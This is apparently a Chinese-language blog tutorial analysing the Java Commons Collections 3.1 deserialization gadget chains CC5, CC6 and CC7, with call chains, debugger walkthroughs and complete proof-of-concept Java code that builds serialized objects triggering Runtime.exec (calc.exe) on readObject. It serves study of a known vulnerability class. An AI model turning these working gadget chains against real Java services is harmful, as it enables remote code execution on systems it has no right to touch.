CC5
前言
CC5是对CC3.1版本的利用,分析过CC1就很容易看懂CC5了。
可参考:
通俗易懂的Java Commons Collections 1分析
环境搭建
- JDK 1.8
- Commons Collections 3.1
pom.xml中添加:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
利用链
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
ysoserial中提示到这只适用于JDK 8u76,并且没有安全管理器;
前置知识
CC5中涉及到两个新的类,这里先介绍一下:
TiedMapEntry
该类有两个参数,一个Map类型,一个Object类型;
后面我们会使用到它的getValue
和toString
方法。
BadAttributeValueExpException
该类只有一个val
参数。
POC分析
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(outerMap,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5.bin"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5.bin"));
inputStream.readObject();
}catch(Exception e) {
e.printStackTrace();
}
}
}
代码1
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
这一部分和CC1中LazyMap链一样,只要调用了LazyMap.get()
,就可以触发ChainedTransformer.transform()
,进而对transformers数组进行回调,然后执行命令。
代码2
TiedMapEntry tiedmap = new TiedMapEntry(outerMap, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
TiedMapEntry.getValue()
调用了get()
,参数map
是可控的;
所以实例化TiedMapEntry类,将outerMap
传进去,第二个参数可以随便填,用来占位;
接着,toString()
方法又调用了getValue()
方法;
继续找哪里调用了toString()
方法;
BadAttributeValueExpException.readObject()
调用了toString()
方法;
valObj
是从gf
中的val
参数获取的,而gf
又是从反序列化流中读取的;
所以,相当于控制了val
参数,就控制了valObj
,这里就通过反射给val
赋为TiedMapEntry
类的实例化对象;
即调用了TiedMapEntry.toString()
,这样就满足了命令执行需要的所以条件。
POC调试
从BadAttributeValueExpException,readObject()
跟起,valObj
就获取到TiedMapEntry
类的对象;
跟进toString
;
跟进getValue
;
跟进get
,这里出现了一点问题,map
中包含了一个key
为123
,所以if判断为假,并没有进如if;
按道理是该进入if的,我又尝试了几次;
只在这个if这里断点,前面的断点都取消掉,那么map
就没有key
,可以进入if;
不知道这是什么原因,猜测是跟IDEA的调试机制有关吧;
继续,就跟到了ChainedTransformer.transform()
,这里就对tranaforms
数组进行循环回调;
循环到第三次InvokerTransformer.transform()
;
return后,成功执行命令;
CC6
前言
CC6还是通过调用LazyMap#get
来触发RCE,任然用到了TiedMapEntry
类,只不过调用TiedMapEntry#getValue
的链不一样。
环境搭建
- JDK 1.8
- Commons Collections 3.1
pom.xml中添加:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
利用链
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
利用链分析
找到调用LazyMap#get
的地方,任然是TiedMapEntry#getValue
,map
可控,传入LazyMap即可;
接下来寻找调用getValue()
的地方,找到TiedMapEntry#hashCode
;
接着寻找调用hashCode()
的地方,找到HashMap#hash
;
继续寻找调用hash()
的地方,找到HashMap#put
;
最后,在HashSet#readObject
中,调用了put()
;
POC分析
代码1
Transformer[] fakeTransformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"notepad.exe"}),
};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
构造两个Transformer数组,因为在后面调用add()
的时候也会触发RCE,用两个不同的命令加以区分;
代码2
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
new一个ChainedTransformer
对象,先将fakeTransformers
传进去;
同样new一个LazyMap
对象;
代码3
TiedMapEntry tiedmap = new TiedMapEntry(outerMap,"foo");
HashSet hashset = new HashSet();
hashset.add(tiedmap);
outerMap.remove("foo");
这里调用add()
方法将含有恶意代码的对象传入hashSet
,就不用像ysoserial中使用反射去传值,这样比较简便;
跟一下add()
方法,这里的map
是TiedMapEntry对象,跟进put
;
调用了hash
方法,继续跟进,k
也是TiedMapEntry对象;
跟进hashcode()
,这里就调用到了getValue
;
跟进,map
是LazyMap,调用了get
方法;
来到get()
,进入if,调用了transform
;
跟进,这里的iTransformers
是我们传入的fakeTransformers
,里面是notepad.exe
命令;
命令执行;
可以看一下这时的调用栈;
当然在这里执行命令不算咯,得在反序列化时执行才有用,这里也可以不使用InvokerTransformer
,只是为了更清楚的表达这里也会调用LazyMap#get
,触发RCE;
继续分析,这里已经调用过一次LazyMap#get
了,为了后面反序列化时,能进入get()
的if判断,所以调用remove()
将key值删除掉;
代码4
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
通过反射获取ChainedTransformer
的iTransformers
变量,将含有我们反序列化时要执行的命令的transformers
数组传进去,替换前面的fakeTransformers
;
完整POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Transformer[] fakeTransformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"notepad.exe"}),
};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(outerMap,"foo");
HashSet hashset = new HashSet();
hashset.add(tiedmap);
outerMap.remove("foo");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6.bin"));
outputStream.writeObject(hashset);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
POC调试
从HashMap#readObject
开始,调用了put
;
调用链和add()
差不多,直接跟到InvokerTransformer;
命令执行成功;
CC7
前言
CC7也是对CC3.1版本的利用链,使用Hashtable
作为反序列化的入口点,通过AbstractMap#equals
来调用LazyMap#get
。
环境搭建
- JDK 1.8
- Commons Collections 3.1
pom.xml中添加:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
利用链
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
利用链分析
看到Hashtable#readObject
,循环调用了reconstitutionPut
,elements
为传入的元素个数;
key和value都是从序列化流中得到的,序列化流中的值则是通过put
传进去的;
跟进reconstitutionPut
;
for循环中调用了equals
,我们先看看进入for循环的条件:e != null
,而e = tab[index]
,此时tab[index]
的值是为null的,所以不会进入for循环,下面的代码就是将key和value添加到tab中;
那如何才能进入for循环呢,既然调用一次reconstitutionPut
不行,那我们就调用两次,也就是说put两个元素进Hashtable
对象,这样elements
的值就为2,readObject中的for循环就可以循环两次;
第一次循环已经将第一组key和value传入到tab中了,当第二次到达reconstitutionPut
中的for循环的时候,tab[index]
中已经有了第一次调用时传入的值,所以不为null,可以进入for循环;
接着看看if里面的判断,要求e.hash == hash
,这里的e
值为tab[index]
,也就是第一组传入的值,这里的hash
是通过key.hashCode()
获取的,也就是说要put两个hash值相等的元素进去才行;
继续跟进到AbstractMapDecorator#equals
,这里的map
是可控的,;
跟进到AbstractMap#equals
,调用了m.get()
,而m
是根据传入的对象获取的,也就是说如果传入的是LazyMap
类对象,那么这里就是调用的LazyMap#get
,便可触发RCE;
POC分析
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
Transformer[] fakeTransformers = new Transformer[] {};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
lazyMap2.remove("yy");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));
outputStream.writeObject(hashtable);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
代码1
Transformer[] fakeTransformers = new Transformer[] {};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
和CC6一样,需要构造两个Transformer数组,因为在后面第二次调用hashtable.put()
的时候也会调用到LazyMap#get
,会触发RCE,可以跟进看一调用栈;
所以这里构造一个fakeTransformers
,里面为空就行;
代码2
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
先将fakeTransformers
传入ChainedTransformer
对象;
new两个HashMap
对象,都调用LazyMap.decorate
,并且分别向两个对象中传值,两个key值分别为yy
和zZ
,因为需要这两个值的hash值相等,而在java中,yy
和zZ
的hash值恰好相等;
然后将这两个LazyMap类对象put进Hashtable类对象;
代码3
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
lazyMap2.remove("yy");
通过反射获取ChainedTransformer
的iTransformers
变量,将含有我们反序列化时要执行的命令的transformers
数组传进去,替换前面的fakeTransformers
;
最后还要remove掉yy
,应为如果不去掉的话,第二次调用reconstitutionPut
的时候就会存在两个key;
导致进入下面的if判断,直接返回false,不再执行后面的代码;
POC调试
第一次进入reconstitutionPut
,将值传入tab:
第二次进入for循环:
进入equals
,参数object
是lazyMap2:
进入下一个equals
,m
就是LazyMap
类:
进入get
,成功调用transform()
:
命令执行成功;
参考链接:
https://paper.seebug.org/1242/
https://www.cnblogs.com/nice0e3/p/13890340.html
总结
CC链就先分析到这里,8、9、10等剩下的链以后再接着分析;
CC链1-7涉及两个CC版本,3.1和4.0;
3.1版本基本就是通过各种途径去调用LazyMap#get
,从而实现RCE;
4.0版本则是通过调用TransformingComparator#compare
来实现RCE;
相同点都在于是为了调用transform()
;
虽然几条链分析下来都大同小异,但也提升了不少分析代码的能力,获益匪浅。